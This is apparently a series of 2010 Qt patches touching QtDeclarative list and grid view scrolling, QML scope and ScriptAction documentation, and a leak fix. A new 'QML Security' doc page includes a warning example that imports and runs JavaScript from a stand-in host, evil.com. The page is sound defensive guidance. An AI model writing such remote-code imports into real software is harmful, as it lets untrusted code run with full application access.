QDeclarativeGridView::LeftToRight) return QDeclarativeFlickable::maxXExtent(); qreal extent; - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { extent = -(d->endPosition() - d->highlightRangeEnd); - else + extent = qMax(extent, -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart)); + } else { extent = -(d->endPosition() - height()); + } const qreal minX = minXExtent(); if (extent > minX) extent = minX; diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 84281c8..4cf8117 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1136,28 +1136,32 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m QDeclarativeFlickablePrivate::flick(data, minExtent, maxExtent, vSize, fixupCallback, velocity); return; } - qreal maxDistance = -1; - // -ve velocity means list is moving up + qreal maxDistance = 0; + // -ve velocity means list is moving up/left if (velocity > 0) { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = firstVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() < minExtent) { - maxDistance = qAbs(minExtent - data.move.value()); + if (data.move.value() < minExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = firstVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(minExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = minExtent; } else { - if (snapMode == QDeclarativeListView::SnapOneItem) { - if (FxListItem *item = nextVisibleItem()) - maxDistance = qAbs(item->position() + data.move.value()); - } else if (data.move.value() > maxExtent) { - maxDistance = qAbs(maxExtent - data.move.value()); + if (data.move.value() > maxExtent) { + if (snapMode == QDeclarativeListView::SnapOneItem) { + if (FxListItem *item = nextVisibleItem()) + maxDistance = qAbs(item->position() + data.move.value()); + } else { + maxDistance = qAbs(maxExtent - data.move.value()); + } } if (snapMode != QDeclarativeListView::SnapToItem && highlightRange != QDeclarativeListView::StrictlyEnforceRange) data.flickTarget = maxExtent; } - if (maxDistance > 0 && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { + if ((maxDistance > 0 || overShoot) && (snapMode != QDeclarativeListView::NoSnap || highlightRange == QDeclarativeListView::StrictlyEnforceRange)) { // These modes require the list to stop exactly on an item boundary. // The initial flick will estimate the boundary to stop on. // Since list items can have variable sizes, the boundary will be @@ -1173,8 +1177,7 @@ void QDeclarativeListViewPrivate::flick(AxisData &data, qreal minExtent, qreal m // the initial flick - estimate boundary qreal accel = deceleration; qreal v2 = v * v; - qreal maxAccel = v2 / (2.0f * maxDistance); - if (maxAccel < accel) { + if (maxDistance > 0.0 && v2 / (2.0f * maxDistance) < accel) { // + averageSize/4 to encourage moving at least one item in the flick direction qreal dist = v2 / (accel * 2.0) + averageSize/4; if (v > 0) @@ -2063,9 +2066,10 @@ qreal QDeclarativeListView::maxYExtent() const if (d->orient == QDeclarativeListView::Horizontal) return height(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - height() + 1); if (d->footer) d->maxExtent -= d->footer->size(); @@ -2100,9 +2104,10 @@ qreal QDeclarativeListView::maxXExtent() const if (d->orient == QDeclarativeListView::Vertical) return width(); if (d->maxExtentDirty) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) + if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { d->maxExtent = -(d->endPosition() - d->highlightRangeEnd); - else + d->maxExtent = qMax(d->maxExtent, -(d->positionAt(d->model->count()-1) - d->highlightRangeStart)); + } else d->maxExtent = -(d->endPosition() - width() + 1); if (d->footer) d->maxExtent -= d->footer->size(); diff --git a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml index 908b365..b272d58 100644 --- a/tests/auto/declarative/qdeclarativegridview/data/setindex.qml +++ b/tests/auto/declarative/qdeclarativegridview/data/setindex.qml @@ -8,13 +8,9 @@ Rectangle { Item { id : wrapper - Script { - function startupFunction() - { - if (index == 5) view.currentIndex = index; - - } - } + function startupFunction() { + if (index == 5) view.currentIndex = index; + } Component.onCompleted: startupFunction(); width: 30; height: 30 Text { text: index } -- cgit v0.12 From 4b6b7361a6f8ba81b969134ca3251fad8543ddb0 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 15:38:14 +1000 Subject: Document QML security considerations. --- doc/src/declarative/declarativeui.qdoc | 1 + doc/src/declarative/qdeclarativesecurity.qdoc | 90 +++++++++++++++++++++++++++ 2 files changed, 91 insertions(+) create mode 100644 doc/src/declarative/qdeclarativesecurity.qdoc diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ca4c5da..cc61c01 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -102,6 +102,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {QML Global Object} \o \l {Extending QML in C++} \o \l {QML Internationalization} +\o \l {QML Security} \o \l {QtDeclarative Module} \o \l {Debugging QML} \endlist diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..56216dd --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScropt you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using XMLHttpRequest to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use XMLHttpRequest to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ -- cgit v0.12 From d19de14f84e9fca8bb709039d5d0331e6ddfe485 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Wed, 24 Mar 2010 15:40:05 +1000 Subject: Doc --- doc/src/declarative/scope.qdoc | 452 +++++++++++++++++++---------------------- 1 file changed, 206 insertions(+), 246 deletions(-) diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index 8ec784f..c588b45 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -39,344 +39,304 @@ ** ****************************************************************************/ -/*! -\page qdeclarativescope.html -\title QML Scope +/* + + + +and requires extension to +fit naturally with QML. -\tableofcontents -NOTE: This documentation is out of data. +JavaScript has only b +JavaScript has a very simple built in scope is very simple -\l {Property Binding}s and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +script, and the precede d + +and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} language. Different object instances instantiated from the same component can exist in different scope chains. \image qml-scope.png -\section1 JavaScript Variable object -Each binding and script block has its own distinct JavaScript variable object where local -variables are stored. That is, local variables from different bindings and script blocks never -conflict. +*/ -\section1 Element Type Names +/*! +\page qdeclarativescope.html +\title QML Scope -Bindings or script blocks use element type names when accessing \l {Attached Properties} or -enumeration values. The set of available element names is defined by the import list of the -\l {QML Documents}{QML Document} in which the the binding or script block is defined. +\tableofcontents -These two examples show how to access attached properties and enumeration values with different -types of import statements. -\table -\row -\o -\code -import Qt 4.6 +QML property bindings, inline functions and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. -Text { - id: root - scale: root.PathView.scale - horizontalAlignment: Text.AlignLeft -} -\endcode -\o -\code -import Qt 4.6 as MyQt +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. -Text { - id: root - scale: root.MyQt.PathView.scale - horizontalAlignment: MyQt.Text.AlignLeft -} -\endcode -\endtable +\section1 JavaScript Scope -\section1 QML Local Scope +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. -Most variables references are resolved in the local scope. The local scope is controlled by the -QML component in which the binding or script block was defined. The following example shows -three different bindings, and the component that dictates each local scope. +In the following example, the \c {addConstant()} method will add 13 to the +parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. -\table -\row -\o \code -// main.qml -import Qt 4.6 +QtObject { + property int a: 3 + property int b: 9 -Rectangle { // Local scope component for binding 1 - id: root - property string text - - Button { - text: root.text // binding 1 + function addConstant(b) { + var a = 13; + return b + a; } - - ListView { - delegate: Component { // Local scope component for binding 2 - Rectangle { - width: ListView.view.width // binding 2 - } - } - } - } \endcode -\o -\code -// Button.qml -import Qt 4.6 -Rectangle { // Local scope component for binding 3 - id: root - property string text +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. - Text { - text: root.text // binding 3 - } +\code +QtObject { + property int a + + a: { var a = 12; a; } } \endcode -\endtable -Inside the local scope, four "sub-scopes" exist. Each sub-scope is searched in order when -resolving a name; names in higher sub-scopes shadow those in lower sub-scopes. +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. -\section2 IDs +\section1 Element Names and Imported JavaScript Files -IDs present in the component take precendence over other names. The QML engine enforces -uniqueness of IDs within a component, so their names cannot conflict with one another. +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. -Here is an example of using IDs within bindings: +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. \code -Item { - id: root - width: nested.width - Item { - id: nested - height: root.height - } -} -\endcode - -\section2 Script Methods - -Methods declared in script blocks are searched immediately after IDs. In the case of multiple -script blocks in the one component, the blocks are searched in the order in which they were -declared - the nesting of script blocks within a component is not significant for name -resolution. - -In the following example, \c {Method 1} shadows \c {Method 2} for the bindings, but not for -\c {Method 3}. +import Qt 4.6 +import "code.js" as Code -\code -Item { - Script { - function getValue() { return 10; } // Method 1 - } +ListView { + snapMode: ListView.SnapToItem - Rectangle { - Script { - function getValue() { return 11; } // Method 2 - function getValue2() { return getValue(); } // Method 3 + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() } - - x: getValue() // Resolves to Method 1, set to 10 - y: getValue2() // Resolves to Method 3, set to 11 } } \endcode -\section2 Scope Object - -A scope object is associated with each binding and script block. Properties and methods of the -scope object appear in the scope chain, immediately after \l {Script Methods}. +\section1 Binding Scope Object -In bindings and script blocks established explicitly in \l {QML Documents}, the scope object is -always the element containing the binding or script block. The following example shows two -bindings, one using grouped properties, and the corresponding scope object. These two bindings -use the scope object to resolve variable references: \c height is a property on \l Rectangle, -and \c parent is a property on \l Text. +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. \code -Item { // Scope object for Script block 1 - Script { // Script block 1 - function calculateValue() { ... } - } - - Rectangle { // Scope object for Binding 1 and Script block 2 - Script { // Script block 2 - function calculateColor() { ... } - } - width: height * 2 // Binding 1 - } - - Text { // Scope object for Binding 2 - font.pixelSize: parent.height * 0.7 // binding 2 - } +Item { + anchors.left: parent.left } \endcode -One notable characteristic of the scope object is its interaction with \l {Attached Properties}. -As attached properties exist on all objects, an attached property reference that is not -explicitly prefixed by an id will \e always resolve to the attached property on the scope -object. - -In the following example, \c {Binding 1} will resolve to the attached properties of the -\l Rectangle element, as intended. However, due to the property search of the scope object, -\c {Binding 2} will resolve to the attached properties of the \l Text element, which -is probably not what was intended. This code can be corrected, by replacing \c {Binding 2} -with this explicit element reference \c {root.ListView.view.width}. +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require (although it does support) use of the implicit \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. \code -import Qt 4.6 - -ListView { - delegate: Rectangle { - id: root - width: ListView.view.width // Binding 1 - Text { - text: contactName - width: ListView.view.width // Binding 2 +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } } } } \endcode -\e TODO - -\list -\o scope object for PropertyChanges -\endlist - -\section2 Root Object +If the \l Image element omitted the \c root prefix, it would inadvertantly access +the unset \c {PathView.scale} attached property on itself. -Properties and methods on the local scope component's root object appear in the scope chain -immediately after the \l {Scope Object}. If the scope object and root object are the same, -this step has no effect. +\section1 Component Scope -This example uses the root object to easily propagate data throughout the component. +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. \code Item { - property string description - property int fontSize + property string title Text { - text: description - font.pixelSize: fontSize + id: titleElement + text: "" + title + "" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom } } \endcode -\section1 QML Component chain - -When a QML component is instantiated it is given a parent component instance. The parent -component instance is immutable - it is not affected, for example, by changes in the instance's -visual parent (in the case of visual elements). Should name resolution fail within the -\l {QML Local Scope}, this parent chain is searched. +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. -For each component instance in the chain, the following are examined: +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. -\list 1 -\o IDs -\o Script Methods -\o Root Object -\endlist +\section1 Component Instance Hierarchy -This list is a sub-set of that in the \l {QML Local Scope}. +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. -A sub-component's parent component instance is set to the component that created it. -In the following example, the two \c Button instances have the -\c main.qml instance as their parent component instance. If the \c Button type was used from -within another QML file, it may have a difference parent component instance, and consequently -the \c buttonClicked() method may resolve differently. +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. -\table -\row -\o \code -// main.qml Item { - function buttonClicked(var data) { - print(data + " clicked"); - } + property color defaultColor: "blue" - Button { text: "Button1" } - Button { text: "Button2" } -} -\endcode -\o -\code -// Button.qml -Rectangle { - id: root - property string text - width: 80 - height: 30 - Text { - anchors.centerIn: parent - text: root.text - } - MouseArea { - anchors.fill: parent - onClicked: buttonClicked(text) + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } } } \endcode -\endtable -The code above discourages the re-use of the \c Button component, as it has a hard dependency -on the environment in which it is used. Tightly coupling two types together like this should -only be used when the components are within the same module, and the author controls the -implementations of both. +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. -In the following example, the \l ListView sets the parent component instance of each of its -delegates to its own component instance. In this way, the main component can easily pass data -into the \l ListView delegates. +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. \code +// TitlePage.qml +import Qt 4.6 Item { - property color delegateColor: "red" + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } - ListView { - delegate: Component { - Rectangle { - color: delegateColor - } - } + TitleText { + size: 18 + anchors.bottom: parent.bottom } } -\endcode -\section1 QDeclarativeContext chain - -The \l QDeclarativeContext chain allows C++ applications to pass data into QML applications. -\l QDeclarativeComponent object instances created from C++ are passed a \l QDeclarativeContext in which they -are created. Variables defined in this context appear in the scope chain. Each QDeclarativeContext -also defines a parent context. Variables in child QDeclarativeContext's shadow those in its parent. +// TitleText.qml +import Qt 4.6 +Text { + property int size + text: "" + title + "" + font.pixelSize: size +} +\endcode -Consider the following QDeclarativeContext tree. +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: -\image qml-context-tree.png +\code +// TitlePage.qml +import Qt 4.6 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } -The value of \c background in \c {Context 1} would be used if it was instantiated in -\c {Context 1}, where as the value of the \c background in the root context would be used if -the component instance was instantiated in \c {Context 2}. + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} -\code +// TitleText.qml import Qt 4.6 +Text { + property string title + property int size -Rectangle { - id: myRect - width: 100; height: 100 - color: background + text: "" + title + "" + font.pixelSize: size } \endcode -\section1 QML Global Object +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. These extensions are described in the +\l {QML Global Object} documentation. + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! -The \l {QML Global Object} contains all the properties of the JavaScript global object, plus some -QML specific extensions. */ -- cgit v0.12 From 08ef576f3bd492b60925c25945d9f8c2c8a26886 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 14:19:14 +1000 Subject: Rename stateChangeScriptName to scriptName. --- src/declarative/QmlChanges.txt | 1 + src/declarative/util/qdeclarativeanimation.cpp | 4 ++-- src/declarative/util/qdeclarativeanimation_p.h | 2 +- tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml | 2 +- 4 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 1d96688..fcb1228 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -11,6 +11,7 @@ Using WebView now requires "import org.webkit 1.0" Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) +ScriptAction: renamed stateChangeScriptName -> scriptName C++ API ------- diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index bead842..b5530f7 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -698,11 +698,11 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script) } /*! - \qmlproperty QString ScriptAction::stateChangeScriptName + \qmlproperty QString ScriptAction::scriptName This property holds the the name of the StateChangeScript to run. This property is only valid when ScriptAction is used as part of a transition. - If both script and stateChangeScriptName are set, stateChangeScriptName will be used. + If both script and scriptName are set, scriptName will be used. */ QString QDeclarativeScriptAction::stateChangeScriptName() const { diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 356b015..33d5c35 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -163,7 +163,7 @@ class QDeclarativeScriptAction : public QDeclarativeAbstractAnimation Q_DECLARE_PRIVATE(QDeclarativeScriptAction) Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript) - Q_PROPERTY(QString stateChangeScriptName READ stateChangeScriptName WRITE setStateChangeScriptName) + Q_PROPERTY(QString scriptName READ stateChangeScriptName WRITE setStateChangeScriptName) public: QDeclarativeScriptAction(QObject *parent=0); diff --git a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml index ef4ed76..fc9ccc8 100644 --- a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml +++ b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml @@ -28,7 +28,7 @@ Rectangle { transitions: Transition { SequentialAnimation { NumberAnimation { properties: "x"; easing.type: "InOutQuad" } - ScriptAction { stateChangeScriptName: "setColor" } + ScriptAction { scriptName: "setColor" } NumberAnimation { properties: "y"; easing.type: "InOutQuad" } } } -- cgit v0.12 From e71d06bc420a837438c72616f88167b4a141b627 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 14:45:31 +1000 Subject: ScriptAction doc. --- src/declarative/util/qdeclarativeanimation.cpp | 31 ++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index b5530f7..6250132 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -658,6 +658,37 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. + ScriptAction can be used to run script at a specific point in an animation. + + \qml + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { script: doSomething(); } + NumberAnimation { ... } + } + \endqml + + When used as part of a Transition, you could also target a specific + StateChangeScript to run using the \c scriptName property. + + \qml + State { + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + } + ... + Transition { + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa StateChangeScript */ /*! \internal -- cgit v0.12 From e3563de2f453697e8640db507ea039166c0b5dc8 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 15:26:23 +1000 Subject: A StateChangeScript should never be run when leaving the state. For a Transition running in reverse, stop ScriptAction from running any StateSchageScripts. --- src/declarative/util/qdeclarativeanimation.cpp | 13 +++++++++---- src/declarative/util/qdeclarativeanimation_p_p.h | 3 ++- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 6250132..c17012c 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -668,7 +668,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) } \endqml - When used as part of a Transition, you could also target a specific + When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. \qml @@ -734,6 +734,9 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script) This property is only valid when ScriptAction is used as part of a transition. If both script and scriptName are set, scriptName will be used. + + \note When using scriptName in a reversible transition, the script will only + be run when the transition is being run forwards. */ QString QDeclarativeScriptAction::stateChangeScriptName() const { @@ -749,6 +752,9 @@ void QDeclarativeScriptAction::setStateChangeScriptName(const QString &name) void QDeclarativeScriptActionPrivate::execute() { + if (hasRunScriptScript && reversing) + return; + QDeclarativeScriptString scriptStr = hasRunScriptScript ? runScriptScript : script; const QString &str = scriptStr.script(); @@ -764,19 +770,18 @@ void QDeclarativeScriptAction::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeScriptAction); Q_UNUSED(modified); - Q_UNUSED(direction); d->hasRunScriptScript = false; + d->reversing = (direction == Backward); for (int ii = 0; ii < actions.count(); ++ii) { QDeclarativeAction &action = actions[ii]; if (action.event && action.event->typeName() == QLatin1String("StateChangeScript") && static_cast(action.event)->name() == d->name) { - //### how should we handle reverse direction? d->runScriptScript = static_cast(action.event)->script(); d->hasRunScriptScript = true; action.actionDone = true; - break; //assumes names are unique + break; //only match one (names should be unique) } } } diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 55aacfa..decd993 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -264,7 +264,7 @@ class QDeclarativeScriptActionPrivate : public QDeclarativeAbstractAnimationPriv Q_DECLARE_PUBLIC(QDeclarativeScriptAction) public: QDeclarativeScriptActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), proxy(this), rsa(0) {} + : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), reversing(false), proxy(this), rsa(0) {} void init(); @@ -272,6 +272,7 @@ public: QString name; QDeclarativeScriptString runScriptScript; bool hasRunScriptScript; + bool reversing; void execute(); -- cgit v0.12 From 17c88fb432574e876e3d72c17d5453dccc351e9c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 15:44:09 +1000 Subject: StateChangeScript doc. --- .../util/qdeclarativestateoperations.cpp | 26 ++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 163d220..0bc81ee 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -494,9 +494,31 @@ public: \qmlclass StateChangeScript QDeclarativeStateChangeScript \brief The StateChangeScript element allows you to run a script in a state. - The script specified will be run immediately when the state is made current. - Alternatively you can use a ScriptAction to specify at which point in the transition + StateChangeScripts are run when entering the state. You can use + ScriptAction to specify at which point in the transition you want the StateChangeScript to be run. + + \qml + State { + name "state1" + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + ... + } + ... + Transition { + to: "state1" + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa ScriptAction */ QDeclarativeStateChangeScript::QDeclarativeStateChangeScript(QObject *parent) -- cgit v0.12 From 87de0a1af772189f0c2a9aeedb98d806b6a869c1 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 16:34:01 +1000 Subject: Fix leak. --- src/declarative/util/qdeclarativeview.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index c2dbf92..d97fb5f 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -129,6 +129,7 @@ class QDeclarativeViewPrivate public: QDeclarativeViewPrivate(QDeclarativeView *view) : q(view), root(0), component(0), resizeMode(QDeclarativeView::SizeViewToRootObject) {} + ~QDeclarativeViewPrivate() { delete root; } void execute(); @@ -270,7 +271,7 @@ void QDeclarativeViewPrivate::init() */ QDeclarativeView::~QDeclarativeView() { - delete d->root; + delete d; } /*! \property QDeclarativeView::source -- cgit v0.12 From 63d2d82031c69c35ea2bd6bf48e357b6297f67df Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: 